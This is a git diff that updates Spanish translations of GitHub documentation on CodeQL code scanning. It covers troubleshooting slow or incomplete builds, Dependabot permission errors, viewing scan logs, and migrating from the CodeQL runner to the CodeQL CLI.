+Sin embargo, si ves errores del extractor en la vasta mayoría de archivos que se compilan durante la creación de la base de datos, deberías revisarlos a detalle para intentar entender por qué algunos archivos de código fuente no se extrajeron adecuadamente.
 
 {% else %}
-## Portions of my repository were not analyzed using `autobuild`
+## Algunas porciones de mi repositorio no se analizaron con `autobuild`
 
-The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+La característica de `autobuild` de {% data variables.product.prodname_codeql %} utiliza la heurística para compilar el código en un repositorio, sin embargo, algunas veces este acercamiento da como resultado un análisis incompleto de un repositorio. Por ejemplo, cuando existen comandos múltiples de `build.sh` en un solo repositorio, el análisis podría no completarse, ya que el paso de `autobuild` solo se ejecutará en uno de los comandos. La solución es reemplazar el paso de `autobuild` con los pasos de compilación que compilarán todo el código fuente que quieras analizar. Para obtener más información, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
 {% endif %}
 
 
-## The build takes too long
+## La compilación tarda demasiado
 
-If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time. 
+Si tu compilación con análisis de {% data variables.product.prodname_codeql %} toma demasiado para ejecutarse, hay varios acercamientos que puedes intentar para reducir el tiempo de compilación.
 
-### Increase the memory or cores
+### Incrementar la memoria o los núcleos
 
-If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners.
+Si utilizas ejecutores auto-hospedados para ejecutar el análisis de {% data variables.product.prodname_codeql %}, puedes incrementar la memoria o la cantidad de núcleos en estos ejecutores.
 
-### Use matrix builds to parallelize the analysis
+### Utilizar matrices de compilación para paralelizar el análisis
 
-The default {% data variables.product.prodname_codeql_workflow %} uses a build matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
+El {% data variables.product.prodname_codeql_workflow %} predeterminado utiliza una matriz de lenguajes, la cual causa que el análisis de cada uno de ellos se ejecute en paralelo. Si especificaste los lenguajes que quieres analizar directamente en el paso de "Inicializar CodeQL", el análisis de cada lenguaje ocurrirá de forma secuencial. Para agilizar el análisis de lenguajes múltiples, modifica tu flujo de trabajo para utilizar una matriz. Para obtener más información, consulta el extracto de flujo de trabajo en la sección "[Compilación automática para los fallos de un lenguaje compilado](#automatic-build-for-a-compiled-language-fails)" que se trata anteriormente.
 
-### Reduce the amount of code being analyzed in a single workflow
+### Reducir la cantidad de código que se está analizando en un solo flujo de trabajo
 
-Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time.
+El tiempo de análisis es habitualmente proporcional a la cantidad de código que se esté analizando. Puedes reducir el tiempo de análisis si reduces la cantidad de código que se analice en cada vez, por ejemplo, si excluyes el código de prueba o si divides el análisis en varios flujos de trabajo que analizan únicamente un subconjunto de tu código a la vez.
 
-For compiled languages like Java, C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build only the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)."
+Para los lenguajes compilados como Java, C, C++ y C#, {% data variables.product.prodname_codeql %} analiza todo el código que se haya compilado durante la ejecución del flujo de trabajo. Para limitar la cantidad de código que se está analizando, compila únicamente el código que quieres analizar especificando tus propios pasos de compilación en un bloque de `run`. Puedes combinar el especificar tus propios pasos de compilación con el uso de filtros de `paths` o `paths-ignore` en los eventos de `pull_request` y de `push` para garantizar que tu flujo de trabajo solo se ejecute cuando se cambia el código específico. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)".
 
-For interpreted languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without a specific build, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)."
+For languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without compiling the source code, you can specify additional configuration options to limit the amount of code to analyze. Para obtener más información, consulta la sección "[Especificar los directorios a escanear](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)".
 
-If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. 
+Si divides tu análisis en varios flujos de trabajo como se describió anteriormente, aún te recomendamos que por lo menos tengas un flujo de trabajo que se ejecute con un `schedule` que analice todo el código en tu repositorio. Ya que {% data variables.product.prodname_codeql %} analiza los flujos de datos entre componentes, algunos comportamientos de seguridad complejos podrían detectarse únicamente en una compilación completa.
 
-### Run only during a `schedule` event
+### Ejecutar únicamente durante un evento de `schedule`
 
-If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)."
+Si tu análisis aún es muy lento como para ejecutarse durante eventos de `push` o de `pull_request`, entonces tal vez quieras activar el análisis únicamente en el evento de `schedule`. Para obtener más información, consulta la sección "[Eventos](/actions/learn-github-actions/introduction-to-github-actions#events)".
 
 {% ifversion fpt or ghec %}
-## Results differ between analysis platforms
+## Los resultados difieren de acuerdo con la plataforma de análisis
 
-If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows.
+Si estás analizando código escrito en Python, podrías ver resultados diferentes dependiendo de si ejecutas el {% data variables.product.prodname_codeql_workflow %} en Linux, macOS o Windows.
 
-On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
+En los ejecutores hospedados en GitHub que utilizan Linux, el {% data variables.product.prodname_codeql_workflow %} intenta instalar y analizar las dependencias de Python, lo cual podría llevar a más resultados. Para inhabilitar la auto instalación, agrega `setup-python-dependencies: false` al paso de "Initialize CodeQL" en el flujo de trabajo. Para obtener más información acerca de la configuración del análisis para las dependencias de Python, consulta la sección "[Analizar las dependencias de Python](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)".
 
 {% endif %}
 
-## Error: "Server error"
+## Error: "Error de servidor"
 
-If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}.
+Si la ejecución de un flujo de trabajo para {% data variables.product.prodname_code_scanning %} falla debido a un error de servidor, trata de ejecutar el flujo de trabajo nuevamente. Si el problema persiste, contaca a {% data variables.contact.contact_support %}.
 
-## Error: "Out of disk" or "Out of memory"
+## Error: "Out of disk" o "Out of memory"
 
-On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner.
-{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem.
-{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %}
+En proyectos muy grandes, el {% data variables.product.prodname_codeql %} podría quedarse sin memoria o sin espacio de almacenamiento en el ejecutor.
+{% ifversion fpt or ghec %}Si te encuentras con este problema en un ejecutor de {% data variables.product.prodname_actions %}, contacta a {% data variables.contact.contact_support %} para que podamos investigar el problema.
+{% else %}Si llegas a tener este problema, intenta incrementar la memoria en el ejecutor.{% endif %}
 
 {% ifversion fpt or ghec %}
-## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %}
+## Error:403 "No se puede acceder al recurso por integración" al utilizar {% data variables.product.prodname_dependabot %}
 
-{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event.
+El {% data variables.product.prodname_dependabot %} se considera no confiable cuando activa una ejecución de flujo de trabajo y este se ejecutará con un alcance de solo lectura. El cargar resultados del {% data variables.product.prodname_code_scanning %} en una rama a menudo requiere del alcance `security_events: write`. Sin embargo, el {% data variables.product.prodname_code_scanning %} siempre permite que se carguen los resultados cuando el evento `pull_request` activa la ejecución de la acción. Es por esto que, para las ramas del {% data variables.product.prodname_dependabot %}, te recomendamos utilizar el evento `pull_request` en vez del evento `push`.
 
-A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches:
+Un enfoque simple es ejecutar las subidas a la rama predeterminada y cualquier otra rama que se ejecute a la larga, así como las solicitudes de cambio que se abren contra este conjunto de ramas:
 ```yaml
 on:
   push:
@@ -224,7 +223,7 @@ on:
     branches:
       - main
 ```
-An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches:
+Un enfoque alternativo es ejecutar todas las subidas con excepción de las ramas del {% data variables.product.prodname_dependabot %}:
 ```yaml
 on:
   push:
@@ -233,18 +232,18 @@ on:
   pull_request:
 ```
 
-### Analysis still failing on the default branch
+### El análisis aún falla en la rama predeterminada
 
-If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check:
-- whether {% data variables.product.prodname_dependabot %} authored the commit
-- whether the pull request that includes the commit has been merged using `@dependabot squash and merge`
+Si el {% data variables.product.prodname_codeql_workflow %} aún falla en una confirmación que se hizo en una rama predeterminada, debes verificar:
+- si el {% data variables.product.prodname_dependabot %} fue el autor de la confirmación
+- si la solicitud de cambios que incluye la confirmación se fusionó utilizando `@dependabot squash and merge`
 
-This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)."
+Este tipo de confirmación por fusión tiene como autor al {% data variables.product.prodname_dependabot %} y, por lo tanto, cualquier flujo de trabajo que se ejecute en la confirmación tendrá permisos de solo lectura. Si habilitaste las actualizaciones de seguridad o de versión del {% data variables.product.prodname_code_scanning %} y del {% data variables.product.prodname_dependabot %} en tu repositorio, te recomendamos que evites utilizar el comando `@dependabot squash and merge` del {% data variables.product.prodname_dependabot %}. En su lugar, puedes habilitar la fusión automática en tu repositorio. Esto significa que las solicitudes de cambio se fusionarán automáticamente cuando se cumplan todas las revisiones requeridas y cuando pasen todas las verificaciones de estado. Para obtener más información sobre cómo habilitar la fusión automática, consulta la sección "[Fusionar una solicitud de cambios automáticamente](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)".
 {% endif %}
 
 ## Warning: "git checkout HEAD^2 is no longer necessary"
 
-If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action:
+Si estás utilizando un flujo de trabajo de {% data variables.product.prodname_codeql %} antiguo, podrías obtener el siguiente mensaje de advertencia en la salida "inicializar {% data variables.product.prodname_codeql %}" de la acción:
 
 ```
 Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer 
@@ -252,7 +251,7 @@ necessary. Please remove this step as Code Scanning recommends analyzing the mer
 commit for best results.
 ```
 
-Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow.
+Puedes arreglar esto si eliminas las siguientes líneas del flujo de trabajo de {% data variables.product.prodname_codeql %}. Estas líneas se incluyeron en la sección de `steps` del job `Analyze` en las versiones iniciales del flujo de trabajo de {% data variables.product.prodname_codeql %}.
 
 ```yaml
         with:
@@ -266,7 +265,7 @@ Fix this by removing the following lines from the {% data variables.product.prod
         if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %}
 ```
 
-The revised `steps` section of the workflow will look like this:
+La sección revisada de `steps` en el flujo de trabajo se deberá ver así:
 
 ```yaml
     steps:
@@ -280,4 +279,4 @@ The revised `steps` section of the workflow will look like this:
       ...
 ```
 
-For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)."
+Para obtener más información sobre la edición del archivo de flujo de trabajo de {% data variables.product.prodname_codeql %}, consulta la sección "[Configurar {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)".
diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
index 0f67facbfb..64975ab6d9 100644
--- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
+++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing code scanning logs
-intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.product.product_location %}.'
+title: Visualizar las bitácoras del escaneo de código
+intro: 'Puedes ver la salida que se generó durante el análisis del {% data variables.product.prodname_code_scanning %} en {% data variables.product.product_location %}.'
 product: '{% data reusables.gated-features.code-scanning %}'
 permissions: 'If you have write permissions to a repository, you can view the {% data variables.product.prodname_code_scanning %} logs for that repository.'
 miniTocMaxHeadingLevel: 4
@@ -13,70 +13,70 @@ versions:
   ghec: '*'
 topics:
   - Security
-shortTitle: View code scanning logs
+shortTitle: Visualizar las bitácoras del escaneo de código
 ---
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
 
-## About your {% data variables.product.prodname_code_scanning %} setup 
+## Acerca de tu configuración del {% data variables.product.prodname_code_scanning %}
 
-You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see  "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)."
+Puedes utilizar diversas herramientas para configurar el {% data variables.product.prodname_code_scanning %} en tu repositorio. Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} en un repositorio](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)".
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+La bitácora y la información diagnóstica que tengas disponible dependerá del método que utilices para el {% data variables.product.prodname_code_scanning %} en tu repositorio. Puedes verificar el tipo de {% data variables.product.prodname_code_scanning %} que estás utilizando en la pestaña de **Seguridad** de tu repositorio si utilizas el menú desplegable de **Herramienta** en la lista de alertas. Para obtener más información, consulta la sección "[Administrar las alertas de {% data variables.product.prodname_code_scanning %} para tu repositorio](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)".
 
-## About analysis and diagnostic information
+## Acerca del análisis y la información de diagnóstico
 
-You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. 
+Puedes ver la información de análisis y diagnóstico para la jecución del {% data variables.product.prodname_code_scanning %} utilizando el análisis de {% data variables.product.prodname_codeql %} en {% data variables.product.prodname_dotcom %}.
 
-**Analysis** information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+La información de **Análisis** se muestra para los análisis más recientes en un encabezado en la parte superior de la lista de alertas. Para obtener más información, consulta la sección "[Administrar las alertas del escaneo de código para tu repositorio](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)".
 
-**Diagnostic** information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see "[Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" below.
+Se muestra información de **Diagnóstico** en las bitácoras del flujo de trabajo de la acción, la cual consiste en un resumen de métricas y diagnóstico de extractor. Para obtener más información sobre cómo acceder a las bitácoras del {% data variables.product.prodname_code_scanning %} en {% data variables.product.prodname_dotcom %}, consulta la sección "[Visualizar la salida de registros del {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" a continuación.
 
-If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results.
+Si estás utilizando el {% data variables.product.prodname_codeql_cli %} fuera de {% data variables.product.prodname_dotcom %}, verás la información de diagnóstico en la salida que se generó durante el análisis de la base de datos. Esta información también se incluye en el archivo de resultados SARIF que cargaste en {% data variables.product.prodname_dotcom %} con los resultados del {% data variables.product.prodname_code_scanning %}.
 
-For information about the {% data variables.product.prodname_codeql_cli %}, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)."
+Para obtener más información sobre el {% data variables.product.prodname_codeql_cli %}, consulta la sección "[Configurar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)".
 
-### About summary metrics
+### Acerca de las métricas de resumen
 
 {% data reusables.code-scanning.summary-metrics %}
 
-### About {% data variables.product.prodname_codeql %} source code extraction diagnostics
+### Acerca del diagnóstico de extración del código fuente de {% data variables.product.prodname_codeql %}
 
 {% data reusables.code-scanning.extractor-diagnostics %}
 
 {% endif %}
-## Viewing the logging output from {% data variables.product.prodname_code_scanning %}
+## Visualizar la salida de registro del {% data variables.product.prodname_code_scanning %}
 
-This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party).
+Esta sección aplica a la ejecución del {% data variables.product.prodname_code_scanning %} utilizando {% data variables.product.prodname_actions %}(de {% data variables.product.prodname_codeql %} o de terceros).
 
-After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run.
+Después de configurar el {% data variables.product.prodname_code_scanning %} para tu repositorio, puedes observar la salida de las acciones mientras se ejecutan.
 
 {% data reusables.repositories.actions-tab %}
 
-  You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message.
+  Veràs una lista que incluye una entrada para ejecutar el flujo de trabajo del {% data variables.product.prodname_code_scanning %}. El texto de la entrada es el título que le diste a tu mensaje de confirmación.
 
-  ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png)
+  ![Lista de acciones que muestran el flujo de trabajo del {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-actions-list.png)
 
-1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow.
+1. Da clic en la entrada para el flujo de trabajo de {% data variables.product.prodname_code_scanning %}.
 
-2. Click the job name on the left. For example, **Analyze (LANGUAGE)**.
+2. Da clic en el nombre del job situado a la izquierda. Por ejemplo, **Analizar (IDIOMA)**.
 
-  ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
+  ![Registro de salida del flujo de trabajo del {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
 
-1. Review the logging output from the actions in this workflow as they run.
+1. Revisa la salida de registro de las acciones en este flujo de trabajo conforme se ejecutan.
 
-1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+1. Una vez que todos los jobs se completen, puedes ver los detalles de cualquier alerta del {% data variables.product.prodname_code_scanning %} que se hayan identificado. Para obtener más información, consulta la sección "[Administrar las alertas de {% data variables.product.prodname_code_scanning %} para tu repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)".
 
 {% note %}
 
-**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page.
+**Nota:** Si levantaste una solicitud de cambios para agregar el flujo de trabajo del {% data variables.product.prodname_code_scanning %} a las alertas del repositorio, las alertas de esa solicitud de cambios no se mostraràn directamente en la pàgina del {% data variables.product.prodname_code_scanning_capc %} hasta que se fusione dicha solicitud. Si se encontrò alguna de las alertas, puedes verlas antes de que se fusione la solicitud de extracciòn dando clic en el enlace de **_n_ alertas encontradas** en el letrero de la pàgina del {% data variables.product.prodname_code_scanning_capc %}.
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-  ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png)
+  ![Da clic en el enlace de "n alertas encontradas" link](/assets/images/help/repository/code-scanning-alerts-found-link.png)
 {% else %}
-  ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png)
+  ![Da clic en el enlace de "n alertas encontradas" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png)
 {% endif %}
 
 {% endnote %}
diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
index 1099495b71..8528c045c6 100644
--- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
+++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
@@ -28,7 +28,7 @@ redirect_from:
 
 ## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %}
 
-You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
+You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis, see "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)."
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
index f6f88a8066..85a34601f9 100644
--- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
+++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
@@ -1,7 +1,7 @@
 ---
-title: Migrating from the CodeQL runner to CodeQL CLI
-shortTitle: Migrating from the CodeQL runner
-intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to complete the same tasks as with the {% data variables.product.prodname_codeql_runner %}.'
+title: Migrarse del ejecutor de CodeQL al CLI de CodeQL
+shortTitle: Migrarse desde el ejecutor de CodeQL
+intro: 'Puedes utilizar el {% data variables.product.prodname_codeql_cli %} para completar las mismas tareas que hacías con el {% data variables.product.prodname_codeql_runner %}.'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
   fpt: '*'
@@ -14,46 +14,47 @@ topics:
   - CodeQL
 ---
 
-# Migrating from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}
+# Migrarse del {% data variables.product.prodname_codeql_runner %} al {% data variables.product.prodname_codeql_cli %}
 
-The {% data variables.product.prodname_codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead.
-This document describes how to migrate common workflows from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
+El {% data variables.product.prodname_codeql_runner %} se va a obsoletizar. Puedes utilizar la versión 2.6.2 del {% data variables.product.prodname_codeql_cli %} y superiores. Este documento describe cómo migrar flujos de trabajo comunes desde el {% data variables.product.prodname_codeql_runner %} hacia el {% data variables.product.prodname_codeql_cli %}.
 
-## Installation
+## Instalación
 
-Download the **{% data variables.product.prodname_codeql %} bundle** from the [`github/codeql-action` repository](https://github.com/github/codeql-action/releases). This bundle contains the {% data variables.product.prodname_codeql_cli %} and the standard {% data variables.product.prodname_codeql %} queries and libraries.
+Descarga el **paquete de {% data variables.product.prodname_codeql %}** del [repositorio `github/codeql-action`](https://github.com/github/codeql-action/releases). Este paquete contiene al {% data variables.product.prodname_codeql_cli %} y las consultas estándar y librerías de {% data variables.product.prodname_codeql %}.
 
-For more information on setting up the {% data variables.product.prodname_codeql_cli %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+Para obtener más información sobre cómo configurar el {% data variables.product.prodname_codeql_cli %}, consulta la sección "[Instalar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)".
 
-## Overview of workflow changes
+## Resumen de los cambios en los flujos de trabajo
 
-A typical workflow that uses the {% data variables.product.prodname_codeql_runner %} to analyze a codebase has the following steps.
-- `codeql-runner-<platform> init` to start creating {% data variables.product.prodname_codeql %} databases and read the configuration.
-- For compiled languages: set environment variables produced by the `init` step.
-- For compiled languages: run autobuild or manual build steps.
-- `codeql-runner-<platform> analyze` to finish creating {% data variables.product.prodname_codeql %} databases, run queries to analyze each {% data variables.product.prodname_codeql %} database, summarize the results in a SARIF file, and upload the results to {% data variables.product.prodname_dotcom %}.
